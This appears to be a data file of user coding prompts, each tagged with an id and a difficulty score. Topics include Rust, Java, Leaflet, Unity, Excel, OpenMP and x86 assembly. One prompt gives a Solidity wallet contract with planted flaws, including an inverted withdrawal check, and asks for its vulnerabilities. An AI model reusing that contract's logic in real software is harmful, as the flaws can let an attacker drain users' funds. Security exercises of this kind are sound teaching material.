You have a HashSet, can you extract all the strings inside and concatenated in a single string separated by “_” in Rust? Implement the most efficient and fastest way possible. You are free to use any algorithm, trick, method, crate, unsafe code you want. Provide the code
fb26b6b02c60b722a07a1907c7ce568a
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45,520
Show how to wait for url to change with Playwright
114a91531b47406067274a4e27113326
{ "intermediate": 0.3388960063457489, "beginner": 0.2906392812728882, "expert": 0.3704647123813629 }
45,521
// SPDX-License-Identifier: MIT pragma solidity ^0.8.20; contract Wallet { address creator; mapping(address => uint256) balances; constructor() { creator = msg.sender; } function deposit() public payable { assert(balances[msg.seder] + msg.value > balances[msg.sender]); balances[msg.sender] += msg.value; } function withdraw(uint256 amount) public { require(amount >= balances[msg.sender]); balances[msg.sender] -= amount; payable(msg.sender).transfer(amount); } // In an emergency the owner can migrate all funds to a duifferent address. function migrateTo(address to) public { require(creator == msg.sender); payable(to).transfer(address(this).balance); } } What are the possible vulnerabilities wuthin this Wallet contract?
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45,522
check this code: pub fn write_refs( intron_names: &Arc<Intron2Name>, intron_key_set: &IntronKeySet, ref_lines: &Arc<Read2Track>, ) { let f = match File::create("ref.bed") { Ok(f) => f, Err(e) => panic!("Error creating file: {}", e), }; let mut writer = BufWriter::new(f); intron_key_set.par_iter().for_each(|entry| { let key = entry.key(); let class = concat_hx(entry.value()); // HashSet<String> -> String '_' sep let ids = intron_names.get(key).unwrap(); ids.iter().for_each(|id| { let line = ref_lines.get(id).unwrap(); let new_id = format!("{}_{}", id, class); let mut fields: Vec<&str> = line.split('\t').collect(); fields[3] = &new_id; writeln!(writer, "{}", fields.join("\t")).unwrap_or_else(|e| { panic!("Error writing to file: {}", e); }); }); }); } I am getting this error: error[E0596]: cannot borrow `writer` as mutable, as it is a captured variable in a `Fn` closure --> src/utils.rs:49:29 | 49 | ids.iter().for_each(|id| { | ^^^^ cannot borrow as mutable ... 54 | writeln!(writer, "{}", fields.join("\t")).unwrap_or_else(|e| { | ------ mutable borrow occurs due to use of `writer` in closure
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45,523
Each of the following lines of code generates an error message when we invoke the assembler. Explain what is wrong with each line. movb $0xF, (%ebx) movl %rax, (%rsp) movw (%rax),4(%rsp) movb %al,%sl movq %rax,$0x123 movl %eax,%rdx movb %si, 8(%rbp)
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45,524
package hw3; import api.BodySegment; import java.util.ArrayList; import api.Cell; import api.Direction; import api.Exit; import api.ScoreUpdateListener; import api.ShowDialogListener; import api.Wall; /** * Class that models a game. */ public class LizardGame { private int width; private int height; private Cell[][] grid; private ArrayList<Lizard> lizards; private ShowDialogListener dialogListener; private ScoreUpdateListener scoreListener; /** * Constructs a new LizardGame object with given grid dimensions. * * @param width number of columns * @param height number of rows */ public LizardGame(int width, int height) { this.width = width; this.height = height; grid = new Cell[width][height]; for (int col = 0; col < width; col++) { for (int row = 0; row < height; row++) { grid[col][row] = new Cell(col, row); } } lizards = new ArrayList<>(); } /** * Get the grid's width. * * @return width of the grid */ public int getWidth() { return width; } /** * Get the grid's height. * * @return height of the grid */ public int getHeight() { return height; } /** * Adds a wall to the grid. * <p> * Specifically, this method calls placeWall on the Cell object associated with * the wall (see the Wall class for how to get the cell associated with the * wall). This class assumes a cell has already been set on the wall before * being called. * * @param wall to add */ public void addWall(Wall wall) { Cell cell = wall.getCell(); cell.placeWall(wall); } /** * Adds an exit to the grid. * <p> * Specifically, this method calls placeExit on the Cell object associated with * the exit (see the Exit class for how to get the cell associated with the * exit). This class assumes a cell has already been set on the exit before * being called. * * @param exit to add */ public void addExit(Exit exit) { exit.getCell().placeExit(exit); } /** * Gets a list of all lizards on the grid. Does not include lizards that have * exited. * * @return lizards list of lizards */ public ArrayList<Lizard> getLizards() { // TODO: method stub return lizards; } /** * Adds the given lizard to the grid. * <p> * The scoreListener to should be updated with the number of lizards. * * @param lizard to add */ public void addLizard(Lizard lizard) { lizards.add(lizard); if (scoreListener != null) { scoreListener.updateScore(lizards.size()); } } /** * Removes the given lizard from the grid. Be aware that each cell object knows * about a lizard that is placed on top of it. It is expected that this method * updates all cells that the lizard used to be on, so that they now have no * lizard placed on them. * <p> * The scoreListener to should be updated with the number of lizards using * updateScore(). * * @param lizard to remove */ public void removeLizard(Lizard lizard) { lizards.remove(lizard); for (BodySegment segment : lizard.getSegments()) { segment.getCell().removeLizard(); } if (scoreListener != null) { scoreListener.updateScore(lizards.size()); } } /** * Gets the cell for the given column and row. * <p> * If the column or row are outside of the boundaries of the grid the method * returns null. * * @param col column of the cell * @param row of the cell * @return the cell or null */ public Cell getCell(int col, int row) { if (col < 0 || col >= width || row < 0 || row >= height) { return null; } return grid[col][row]; } /** * Gets the cell that is adjacent to (one over from) the given column and row, * when moving in the given direction. For example (1, 4, UP) returns the cell * at (1, 3). * <p> * If the adjacent cell is outside of the boundaries of the grid, the method * returns null. * * @param col the given column * @param row the given row * @param dir the direction from the given column and row to the adjacent cell * @return the adjacent cell or null */ public Cell getAdjacentCell(int col, int row, Direction dir) { switch (dir) { case UP: return getCell(col, row - 1); case DOWN: return getCell(col, row + 1); case LEFT: return getCell(col - 1, row); case RIGHT: return getCell(col + 1, row); default: return null; } } /** * Resets the grid. After calling this method the game should have a grid of * size width x height containing all empty cells. Empty means cells with no * walls, exits, etc. * <p> * All lizards should also be removed from the grid. * * @param width number of columns of the resized grid * @param height number of rows of the resized grid */ public void resetGrid(int width, int height) { this.width = width; this.height = height; grid = new Cell[width][height]; for (int col = 0; col < width; col++) { for (int row = 0; row < height; row++) { grid[col][row] = new Cell(col, row); } } lizards.clear(); } /** * Returns true if a given cell location (col, row) is available for a lizard to * move into. Specifically the cell cannot contain a wall or a lizard. Any other * type of cell, including an exit is available. * * @param row of the cell being tested * @param col of the cell being tested * @return true if the cell is available, false otherwise */ public boolean isAvailable(int col, int row) { Cell cell = getCell(col, row); return cell != null && cell.getWall() == null && cell.getLizard() == null; } /** * Move the lizard specified by its body segment at the given position (col, * row) one cell in the given direction. The entire body of the lizard must move * in a snake like fashion, in other words, each body segment pushes and pulls * the segments it is connected to forward or backward in the path of the * lizard's body. The given direction may result in the lizard moving its body * either forward or backward by one cell. * <p> * The segments of a lizard's body are linked together and movement must always * be "in-line" with the body. It is allowed to implement movement by either * shifting every body segment one cell over or by creating a new head or tail * segment and removing an existing head or tail segment to achieve the same * effect of movement in the forward or backward direction. * <p> * If any segment of the lizard moves over an exit cell, the lizard should be * removed from the grid. * <p> * If there are no lizards left on the grid the player has won the puzzle the * the dialog listener should be used to display (see showDialog) the message * "You win!". * <p> * It is possible that the given direction is not in-line with the body of the * lizard (as described above), in that case this method should do nothing. * <p> * It is possible that the given column and row are outside the bounds of the * grid, in that case this method should do nothing. * <p> * It is possible that there is no lizard at the given column and row, in that * case this method should do nothing. * <p> * It is possible that the lizard is blocked and cannot move in the requested * direction, in that case this method should do nothing. * <p> * <b>Developer's note: You may have noticed that there are a lot of details * that need to be considered when implement this method method. It is highly * recommend to explore how you can use the public API methods of this class, * Grid and Lizard (hint: there are many helpful methods in those classes that * will simplify your logic here) and also create your own private helper * methods. Break the problem into smaller parts are work on each part * individually.</b> * * @param col the given column of a selected segment * @param row the given row of a selected segment * @param dir the given direction to move the selected segment */ public void move(int col, int row, Direction dir) { Cell cell = getCell(col, row); if (cell == null || cell.getLizard() == null) { return; // No lizard at the given position } Lizard lizard = cell.getLizard(); Direction headDirection = lizard.getHeadDirection(); Direction tailDirection = lizard.getTailDirection(); boolean isForwardMovement = (dir == headDirection); boolean isBackwardMovement = (dir == getOppositeDirection(tailDirection)); if (!isForwardMovement && !isBackwardMovement) { return; // Movement direction is not in line with the body } // Determine the segment to move (head or tail) BodySegment segmentToMove = isForwardMovement ? lizard.getHeadSegment() : lizard.getTailSegment(); Cell nextCell = getAdjacentCell(segmentToMove.getCell().getCol(), segmentToMove.getCell().getRow(), dir); if (nextCell != null && isAvailable(nextCell.getCol(), nextCell.getRow())) { // Move the lizard to the next cell moveLizardSegment(lizard, segmentToMove, nextCell, dir); // Check if any segment of the lizard moves over an exit cell boolean reachedExit = false; for (BodySegment segment : lizard.getSegments()) { if (segment.getCell().getExit() != null) { reachedExit = true; break; } } if (reachedExit) { // Remove the lizard from the grid if it reaches an exit removeLizard(lizard); } // Check if all lizards have exited to trigger the win condition if (lizards.isEmpty() && dialogListener != null) { dialogListener.showDialog("You win!"); } } } // Helper method to move a specific segment of the lizard private void moveLizardSegment(Lizard lizard, BodySegment segmentToMove, Cell nextCell, Direction dir) { // Remove the segment from its current cell segmentToMove.getCell().removeLizard(); // Update the segment's position segmentToMove.setCell(nextCell); nextCell.placeLizard(lizard); // Update the positions of the remaining segments BodySegment prevSegment = segmentToMove; Direction prevDirection = dir; for (BodySegment segment : lizard.getSegments()) { if (segment != segmentToMove) { Cell prevCell = prevSegment.getCell(); Cell newCell = getAdjacentCell(prevCell.getCol(), prevCell.getRow(), getOppositeDirection(prevDirection)); if (newCell != null && isAvailable(newCell.getCol(), newCell.getRow())) { segment.getCell().removeLizard(); segment.setCell(newCell); newCell.placeLizard(lizard); } else { break; // Stop moving segments if there's an obstacle } prevSegment = segment; prevDirection = getOppositeDirection(prevDirection); } } } // Helper method to get the opposite direction private Direction getOppositeDirection(Direction dir) { switch (dir) { case UP: return Direction.DOWN; case DOWN: return Direction.UP; case LEFT: return Direction.RIGHT; case RIGHT: return Direction.LEFT; default: return null; } } /** * Sets callback listeners for game events. * * @param dialogListener listener for creating a user dialog * @param scoreListener listener for updating the player's score */ public void setListeners(ShowDialogListener dialogListener, ScoreUpdateListener scoreListener) { this.dialogListener = dialogListener; this.scoreListener = scoreListener; } /** * Load the game from the given file path * * @param filePath location of file to load */ public void load(String filePath) { GameFileUtil.load(filePath, this); } @Override public String toString() { String str = "---------- GRID ----------\n"; str += "Dimensions:\n"; str += getWidth() + " " + getHeight() + "\n"; str += "Layout:\n"; for (int y = 0; y < getHeight(); y++) { if (y > 0) { str += "\n"; } for (int x = 0; x < getWidth(); x++) { str += getCell(x, y); } } str += "\nLizards:\n"; for (Lizard l : getLizards()) { str += l; } str += "\n--------------------------\n"; return str; } } please fix these issues: PROBLEM: 23. LizardGame move head in a forward direction. Message: 23. LizardGame move head in a forward direction. liz1: expected:< (5,2,Ground,Lizard)> but was:< (4,2,Ground,Lizard)> PROBLEM: 25. LizardGame move tail in a backward direction. Message: 25. LizardGame move tail in a backward direction. liz1: expected:< (4,2,Ground,Lizard)> but was:< (5,2,Ground,Lizard)> PROBLEM: 27. LizardGame move head backward. Message: 27. LizardGame move head backward. liz1: expected:< (4,2,Ground,Lizard)> but was:< (5,2,Ground,Lizard)> PROBLEM: 29. LizardGame move tail forward. Message: 29. LizardGame move tail forward. liz1: expected:< (5,2,Ground,Lizard)> but was:< (4,2,Ground,Lizard)> PROBLEM: 31. LizardGame move inner segment forward. Message: 31. LizardGame move inner segment forward. liz1: expected:< (5,2,Ground,Lizard)> but was:< (4,2,Ground,Lizard)> PROBLEM: 33. LizardGame move inner segment backward. Message: 33. LizardGame move inner segment backward. liz1: expected:< (4,2,Ground,Lizard)> but was:< (5,2,Ground,Lizard)> PROBLEM: 38. LizardGame move all lizards to exit. Message: 38. LizardGame move all lizards to exit. Number of lizards: expected:<0> but was:<1> thank you!
0fc8c1c9002dd003e49908bf6cf634c3
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45,525
fix Look method using System; using UnityEngine; namespace PlayerScripts { [RequireComponent(typeof(CharacterController))] public class Player : MonoBehaviour { private PlayerInput _input; private CharacterController _controller; public float speed = 2f; private Vector3 _playerVelocity; private bool _grounded; public float gravity = -9.8f; public float jumpForce = 2f; public new Camera camera; private float _xRotation = 0f; public float sens; private float _yRotation; private void Awake() { _input = GetComponent<PlayerInput>(); _controller = GetComponent<CharacterController>(); } private void Start() { Cursor.lockState = CursorLockMode.Locked; } private void Update() { _grounded = _controller.isGrounded; Look(); } private void FixedUpdate() { Move(); Jump(); } private void Move() { var move = _input.Movement; var moveDirection = new Vector3(move.x, 0, move.y); _controller.Move(transform.TransformDirection(moveDirection) * (speed * Time.fixedDeltaTime)); _playerVelocity.y += gravity * Time.fixedDeltaTime; if (_grounded && _playerVelocity.y < 0) _playerVelocity.y = -2f; _controller.Move(_playerVelocity * Time.fixedDeltaTime); } private void Jump() { if (!_input.Jump || !_grounded) return; _playerVelocity.y = Mathf.Sqrt(jumpForce * -3f * gravity); } private void Look() { _xRotation = _input.Look.x * Time.deltaTime * sens; //_xRotation -= _input.Look.y * Time.deltaTime * sens; _xRotation = Mathf.Clamp(_xRotation, -90, 90f); camera.transform.localRotation = Quaternion.Euler(_xRotation, 0, 0); transform.Rotate(Vector3.up * (_input.Look.x * Time.deltaTime * sens)); } } }
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45,526
I need to count how many rows have two cells that are both greater than 0 in excel. From A42 to A50 and B42 to B50 I need to count all the rows where both A and B are greater than 0 ignoring empty cells.
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45,527
I have a 5 rows A1 to A5 and C1 to C5 and I need to count the number of rows where both the cells in the A column and C column are greater than 0. For example if A1 had a 5 and C1 had a 2 then excel would count this, but if A2 had a 3 and C1 had a 0 then excel would not count this
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45,528
in machine code, push and pop are very powerful and simple instructions. push uses rsp to write data to memory stack. pop uses rsp to read data from memory stack. rsp increases or decreases to move up and down in the stack. this ensures abstract stack data structure and is naturally useful in procedure calls.
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45,529
Распараллель этот код на OpenMp, используя параллельные секции: for (i = 1; i <= L; i++) for (j = 1; j <= L; j++) if (a[i][j] == 0) continue; else if (a[i][j] == 1) { if (a[i][j - 1] == 0 && a[i - 1][j] == 0) //новый кластер { { claster++; a[i][j] = claster; } } if (a[i - 1][j] == 0 && a[i][j - 1] != 0)// слева уже есть кластер //#pragma omp atomic a[i][j] = a[i][j - 1]; else if (a[i - 1][j] != 0 && a[i][j - 1] == 0) //сверху есть кластер //#pragma omp atomic a[i][j] = a[i - 1][j]; else if (a[i - 1][j] != 0 && a[i][j - 1] != 0)//все принадлежат одному кластеру if (a[i - 1][j] < a[i][j - 1]) { //#pragma omp atomic a[i][j] = a[i - 1][j]; if (a[i][j - 1] != 0) { for (k = j - 1; k > 0; k--) { if (a[i][k - 1] == 0) { #pragma omp critical { a[i][k] = a[i][j]; claster--; } } if ((a[i][k] + 1) == a[i][k - 1] || a[i][k] == a[i][k - 1]) //#pragma omp atomic a[i][k] = a[i][j]; else break; } //count++; } } else if (a[i - 1][j] > a[i][j - 1]) { { a[i][j] = a[i][j - 1]; a[i - 1][j] = a[i][j - 1]; } } else { a[i][j] = a[i][j - 1]; } }
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45,530
in this javascript for leaflet.js I'm trying to animate a marker along a polyline - 'trainButton.addEventListener("click", function () { if (isLineDrawn) { // Check if a line is drawn before animating the marker // Create a marker (if it doesn't exist already) if (!marker) { marker = L.marker(clickedPoints[0].getLatLng()).addTo(map); } const animationFunction = function(progress) { let currentLatLng = marker.getLatLng(); const nextLatLng = clickedPoints[Math.round(progress * (clickedPoints.length - 1))].getLatLng(); marker.setLatLng(L.latLngLinear interpolate(currentLatLng, nextLatLng, progress)); // Fixed missing closing parenthesis here }; let animation = new L.LinearAnimation(marker, [0, 1], animationFunction, { duration: 2000 }); // Adjust duration as needed in milliseconds animation.play(); } else { console.log("Please draw a line first by clicking on two cities."); } });' however it has an error
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45,531
how can see traffic incomming in specefic port?
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{ "intermediate": 0.3416360914707184, "beginner": 0.19609437882900238, "expert": 0.46226954460144043 }
45,532
func toKey(c: int): Key = try: result = Key( c ) except RangeDefect: # ignore unknown keycodes result = Key.None
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45,533
in this javascript for leaflet I wish to add a function to the trainButton click event to animate a marker along the polyline which has been added to the map by the user - var money = 100000; const map = L.map("map").setView([54.2231637, -1.9381623], 6); let clickedPoints = []; let isLineDrawn = false; let marker; // Declare the marker variable // Function to create circle markers with click functionality function createCircleMarkers(geojson) { return L.geoJSON(geojson, { pointToLayer: function(feature, latlng) { const circleMarker = L.circleMarker(latlng, { radius: 4, fillColor: '#ff7800', color: '#000', weight: 0.2, opacity: 1, fillOpacity: 0.8, }); // Attach the feature to the circle marker circleMarker.feature = feature; circleMarker.on('mouseover', function() { this.bindPopup(feature.properties.city).openPopup(); }); circleMarker.on('click', function(e) { if (!isLineDrawn) { clickedPoints.push(e.target); // Push the circle marker with attached feature if (clickedPoints.length === 2) { const polyline = L.polyline(clickedPoints.map(p => p.getLatLng())).addTo(map); const firstCity = clickedPoints[0].feature.properties.city; const secondCity = clickedPoints[1].feature.properties.city; clickedPoints = []; isLineDrawn = true; // Remove click event listener after a line has been drawn map.off("click"); // Set the map bounds to show the area with the polyline map.fitBounds(polyline.getBounds()); money = money - 50000; // Subtract 50000 from money const moneyDisplay = document.getElementById("moneydisplay"); const moneyString = `£${money}`; // Assuming money is a number moneyDisplay.textContent = moneyString; const instructionsElement = document.getElementById("instructions"); // Clear any existing content in the instructions element: instructionsElement.innerHTML = ""; // Create separate paragraph elements: const congratulationsParagraph = document.createElement("p"); congratulationsParagraph.textContent = `Congratulations you have built your first train line from ${firstCity} to ${secondCity}!`; const costsParagraph = document.createElement("p"); costsParagraph.textContent = `Your construction costs were £50,000. You have £50,000 remaining.`; const buyTrainParagraph = document.createElement("p"); buyTrainParagraph.textContent = "You now need to buy a train."; const newTrainParagraph = document.createElement("p"); newTrainParagraph.textContent = "At this time you can only afford to buy the train engine the Sleeping Lion. The Sleeping Lion has a top speed of 35 miles per hour. It can pull four carriages. Which means your train will have a capacity of around 120 seated passengers"; const traincost = document.createElement("p"); traincost.textContent = `The Sleeping Lion will cost you £20,000 to purchase. Do you wish to buy the Sleeping Lion?`; // Append paragraphs to the instructions element: instructionsElement.appendChild(congratulationsParagraph); instructionsElement.appendChild(costsParagraph); instructionsElement.appendChild(buyTrainParagraph); instructionsElement.appendChild(newTrainParagraph); instructionsElement.appendChild(traincost); // Add button element: const buyButton = document.createElement("button"); buyButton.id = "buybutton"; buyButton.textContent = "Buy Train"; // Append the button element to the instructions element: instructionsElement.appendChild(buyButton); // Add click event listener to the Buy Train button document .getElementById("buybutton") .addEventListener("click", function () { money = money - 20000; // Subtract 20000 from money const moneyDisplay = document.getElementById("moneydisplay"); const moneyString = `£${money}`; moneyDisplay.textContent = moneyString; // Update instructions content after successful purchase instructionsElement.innerHTML = ""; // Clear previous content const successMessage = document.createElement("p"); successMessage.textContent = `You now have a train line from ${firstCity} to ${secondCity} and a train! Press the button below to begin operations.` instructionsElement.appendChild(successMessage); // Add button element: const trainButton = document.createElement("button"); trainButton.id = "trainbutton"; trainButton.textContent = "Start Train Journeys"; // Append the button element to the instructions element: instructionsElement.appendChild(trainButton); // Add click event listener for the trainButton trainButton.addEventListener('click', function () { }); }); } } }); return circleMarker; }, }); } fetch("gb.geojson") .then((response) => response.json()) .then((geojson) => { L.geoJSON(geojson, { fillColor: "none", // Style for polygon (empty fill) weight: 1, color: "#000", opacity: 1, fillOpacity: 0, }).addTo(map); }) .catch((error) => { console.error("Error loading GeoJSON:", error); }); fetch("cities.geojson") .then((response) => response.json()) .then((geojson) => { createCircleMarkers(geojson).addTo(map); }) .catch((error) => { console.error("Error loading GeoJSON:", error); });
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45,534
error زیر چی هستش? Could not get lock /var/lib/dpkg/lock-frontend. It is held by process 2186 (apt) N: Be aware that removing the lock file is not a solution and may break your system. E: Unable to acquire the dpkg frontend lock (/var/lib/dpkg/lock-frontend), is another process using it?
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{ "intermediate": 0.5415753126144409, "beginner": 0.2335120290517807, "expert": 0.224912628531456 }
45,535
Instruction Effect Description imulq S R[%rdx]:R[%rax] ← S × R[%rax] Signed full multiply mulq S R[%rdx]:R[%rax] ← S × R[%rax] Unsigned full multiply cqto R[%rdx]:R[%rax] ← SignExtend(R[%rax]) Convert to oct word idivq S R[%rdx] ← R[%rdx]:R[%rax] mod S; Signed divide R[%rax] ← R[%rdx]:R[%rax] ÷ S divq S R[%rdx] ← R[%rdx]:R[%rax] mod S; Unsigned divide R[%rax] ← R[%rdx]:R[%rax] ÷ S Why does x86-64 ISA uses both rdx and rax for long integer mul and division?
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45,536
hi
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45,537
ffmpeg to convert flac to AAC
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45,538
how do i add the icons within the input fields not appended to the right, also the icon should be black with no outline: To mask the password and confirm password fields as stars (••••) and add an eye icon to toggle their visibility, follow these steps. You will need to modify the HTML to use `password` type input fields and add a button for the eye toggle. Also, we will use some JavaScript for the toggle functionality. ### Step 1: Modify the Password Fields in HTML Change the type of your password fields from `type=""` to `type="password"` and add a toggle button with an eye icon. If you are using FontAwesome for icons, you can use the eye icon class `fa-eye` for the toggle button.
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45,539
in this javascript for leaflet my animate marker function places a marker on the first clicked point and then after the timeout places a marker on the second clicked point. I want to animate the marker along the polyline between the two points- var money = 100000; const map = L.map("map").setView([54.2231637, -1.9381623], 6); let clickedPoints = []; let isLineDrawn = false; let marker; // Declare the marker variable // Function to create circle markers with click functionality function createCircleMarkers(geojson) { return L.geoJSON(geojson, { pointToLayer: function(feature, latlng) { const circleMarker = L.circleMarker(latlng, { radius: 4, fillColor: '#ff7800', color: '#000', weight: 0.2, opacity: 1, fillOpacity: 0.8, }); // Attach the feature to the circle marker circleMarker.feature = feature; circleMarker.on('mouseover', function() { this.bindPopup(feature.properties.city).openPopup(); }); circleMarker.on('click', function(e) { if (!isLineDrawn) { clickedPoints.push(e.target); // Push the circle marker with attached feature if (clickedPoints.length === 2) { const polyline = L.polyline(clickedPoints.map(p => p.getLatLng())).addTo(map); const firstCity = clickedPoints[0].feature.properties.city; const secondCity = clickedPoints[1].feature.properties.city; clickedPoints = []; isLineDrawn = true; // Remove click event listener after a line has been drawn map.off("click"); // Set the map bounds to show the area with the polyline map.fitBounds(polyline.getBounds()); money = money - 50000; // Subtract 50000 from money const moneyDisplay = document.getElementById("moneydisplay"); const moneyString = `£${money}`; // Assuming money is a number moneyDisplay.textContent = moneyString; const instructionsElement = document.getElementById("instructions"); // Clear any existing content in the instructions element: instructionsElement.innerHTML = ""; // Create separate paragraph elements: const congratulationsParagraph = document.createElement("p"); congratulationsParagraph.textContent = `Congratulations you have built your first train line from ${firstCity} to ${secondCity}!`; const costsParagraph = document.createElement("p"); costsParagraph.textContent = `Your construction costs were £50,000. You have £50,000 remaining.`; const buyTrainParagraph = document.createElement("p"); buyTrainParagraph.textContent = "You now need to buy a train."; const newTrainParagraph = document.createElement("p"); newTrainParagraph.textContent = "At this time you can only afford to buy the train engine the Sleeping Lion. The Sleeping Lion has a top speed of 35 miles per hour. It can pull four carriages. Which means your train will have a capacity of around 120 seated passengers"; const traincost = document.createElement("p"); traincost.textContent = `The Sleeping Lion will cost you £20,000 to purchase. Do you wish to buy the Sleeping Lion?`; // Append paragraphs to the instructions element: instructionsElement.appendChild(congratulationsParagraph); instructionsElement.appendChild(costsParagraph); instructionsElement.appendChild(buyTrainParagraph); instructionsElement.appendChild(newTrainParagraph); instructionsElement.appendChild(traincost); // Add button element: const buyButton = document.createElement("button"); buyButton.id = "buybutton"; buyButton.textContent = "Buy Train"; // Append the button element to the instructions element: instructionsElement.appendChild(buyButton); // Add click event listener to the Buy Train button document .getElementById("buybutton") .addEventListener("click", function () { money = money - 20000; // Subtract 20000 from money const moneyDisplay = document.getElementById("moneydisplay"); const moneyString = `£${money}`; moneyDisplay.textContent = moneyString; // Update instructions content after successful purchase instructionsElement.innerHTML = ""; // Clear previous content const successMessage = document.createElement("p"); successMessage.textContent = `You now have a train line from ${firstCity} to ${secondCity} and a train! Press the button below to begin operations.` instructionsElement.appendChild(successMessage); // Add button element: const trainButton = document.createElement("button"); trainButton.id = "trainbutton"; trainButton.textContent = "Start Train Journeys"; // Append the button element to the instructions element: instructionsElement.appendChild(trainButton); trainButton.addEventListener('click', function () { const latlngs = polyline.getLatLngs(); // Get the latlngs of the polyline let index = 0; // Initialize an index variable // Create a marker at the first point of the polyline marker = L.marker(latlngs[index]).addTo(map); function animateMarker(index) { if (index >= latlngs.length) return; // Base case: stop at the end const currentLatLng = latlngs[index]; marker.setLatLng(currentLatLng); // Call animateMarker again with incremented index after a delay setTimeout(() => animateMarker(index + 1), 1000); } // Inside trainButton click event listener: animateMarker(0); // Start animation from the first point }); }); } } }); return circleMarker; }, }); } fetch("gb.geojson") .then((response) => response.json()) .then((geojson) => { L.geoJSON(geojson, { fillColor: "none", // Style for polygon (empty fill) weight: 1, color: "#000", opacity: 1, fillOpacity: 0, }).addTo(map); }) .catch((error) => { console.error("Error loading GeoJSON:", error); }); fetch("cities.geojson") .then((response) => response.json()) .then((geojson) => { createCircleMarkers(geojson).addTo(map); }) .catch((error) => { console.error("Error loading GeoJSON:", error); });
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45,540
In this javascript for leaflet.js I create a polyine between two points const firstCity = clickedPoints[0].feature.properties.coordinates; const secondCity = clickedPoints[1].feature.properties.coordinates; . I want to animate a marker along the polyline from the firstCity point to the secondCity point. This animation should be called from the trainButton click event - var money = 100000; const map = L.map("map").setView([54.2231637, -1.9381623], 6); let clickedPoints = []; let isLineDrawn = false; let marker; // Declare the marker variable let distanceTraveled = 0; // Function to create circle markers with click functionality function createCircleMarkers(geojson) { return L.geoJSON(geojson, { pointToLayer: function(feature, latlng) { const circleMarker = L.circleMarker(latlng, { radius: 4, fillColor: '#ff7800', color: '#000', weight: 0.2, opacity: 1, fillOpacity: 0.8, }); // Attach the feature to the circle marker circleMarker.feature = feature; circleMarker.on('mouseover', function() { this.bindPopup(feature.properties.city).openPopup(); }); circleMarker.on('click', function(e) { if (!isLineDrawn) { clickedPoints.push(e.target); // Push the circle marker with attached feature if (clickedPoints.length === 2) { const polyline = L.polyline(clickedPoints.map(p => p.getLatLng())).addTo(map); const firstCity = clickedPoints[0].feature.properties.city; const secondCity = clickedPoints[1].feature.properties.city; clickedPoints = []; isLineDrawn = true; // Remove click event listener after a line has been drawn map.off("click"); // Set the map bounds to show the area with the polyline map.fitBounds(polyline.getBounds()); money = money - 50000; // Subtract 50000 from money const moneyDisplay = document.getElementById("moneydisplay"); const moneyString = `£${money}`; // Assuming money is a number moneyDisplay.textContent = moneyString; const instructionsElement = document.getElementById("instructions"); // Clear any existing content in the instructions element: instructionsElement.innerHTML = ""; // Create separate paragraph elements: const congratulationsParagraph = document.createElement("p"); congratulationsParagraph.textContent = `Congratulations you have built your first train line from ${firstCity} to ${secondCity}!`; const costsParagraph = document.createElement("p"); costsParagraph.textContent = `Your construction costs were £50,000. You have £50,000 remaining.`; const buyTrainParagraph = document.createElement("p"); buyTrainParagraph.textContent = "You now need to buy a train."; const newTrainParagraph = document.createElement("p"); newTrainParagraph.textContent = "At this time you can only afford to buy the train engine the Sleeping Lion. The Sleeping Lion has a top speed of 35 miles per hour. It can pull four carriages. Which means your train will have a capacity of around 120 seated passengers"; const traincost = document.createElement("p"); traincost.textContent = `The Sleeping Lion will cost you £20,000 to purchase. Do you wish to buy the Sleeping Lion?`; // Append paragraphs to the instructions element: instructionsElement.appendChild(congratulationsParagraph); instructionsElement.appendChild(costsParagraph); instructionsElement.appendChild(buyTrainParagraph); instructionsElement.appendChild(newTrainParagraph); instructionsElement.appendChild(traincost); // Add button element: const buyButton = document.createElement("button"); buyButton.id = "buybutton"; buyButton.textContent = "Buy Train"; // Append the button element to the instructions element: instructionsElement.appendChild(buyButton); // Add click event listener to the Buy Train button document .getElementById("buybutton") .addEventListener("click", function () { money = money - 20000; // Subtract 20000 from money const moneyDisplay = document.getElementById("moneydisplay"); const moneyString = `£${money}`; moneyDisplay.textContent = moneyString; // Update instructions content after successful purchase instructionsElement.innerHTML = ""; // Clear previous content const successMessage = document.createElement("p"); successMessage.textContent = `You now have a train line from ${firstCity} to ${secondCity} and a train! Press the button below to begin operations.` instructionsElement.appendChild(successMessage); // Add button element: const trainButton = document.createElement("button"); trainButton.id = "trainbutton"; trainButton.textContent = "Start Train Journeys"; // Append the button element to the instructions element: instructionsElement.appendChild(trainButton); // trainButton click event listener: trainButton.addEventListener('click', function () { }); }); } } }); return circleMarker; }, }); } fetch("gb.geojson") .then((response) => response.json()) .then((geojson) => { L.geoJSON(geojson, { fillColor: "none", // Style for polygon (empty fill) weight: 1, color: "#000", opacity: 1, fillOpacity: 0, }).addTo(map); }) .catch((error) => { console.error("Error loading GeoJSON:", error); }); fetch("cities.geojson") .then((response) => response.json()) .then((geojson) => { createCircleMarkers(geojson).addTo(map); }) .catch((error) => { console.error("Error loading GeoJSON:", error); });
b7183611a5ceafa7b47fa628f7f47d6a
{ "intermediate": 0.34947437047958374, "beginner": 0.4363785684108734, "expert": 0.21414707601070404 }
45,541
convert this code to matlab system code
a6249ac6d8f5456bfcdba18c2253bf67
{ "intermediate": 0.3817155063152313, "beginner": 0.20546184480190277, "expert": 0.4128226339817047 }
45,542
Hi, how are you?
f6aff3fadcd7922d6f4a9f03e5bd7010
{ "intermediate": 0.39029815793037415, "beginner": 0.2846156358718872, "expert": 0.32508620619773865 }
45,543
convert this code to matlab system code
5476ecc7de693dc9f38ee1121fad7bec
{ "intermediate": 0.3817155063152313, "beginner": 0.20546184480190277, "expert": 0.4128226339817047 }
45,544
public static Vector Zero => default; Possible null reference return
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{ "intermediate": 0.33156818151474, "beginner": 0.3735913038253784, "expert": 0.2948405146598816 }
45,545
convert this to matlab system codes
65e7c8e939150219be4366c9f0032d3f
{ "intermediate": 0.3363890051841736, "beginner": 0.28588441014289856, "expert": 0.37772658467292786 }
45,546
How is calling of function implemented in machine code level?
b8e8cd7450aec459718b182f4305d95c
{ "intermediate": 0.09959837794303894, "beginner": 0.4125022888183594, "expert": 0.4878992736339569 }
45,547
Generate a Python code for a simple video game.
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{ "intermediate": 0.30989235639572144, "beginner": 0.4615699350833893, "expert": 0.22853770852088928 }
45,548
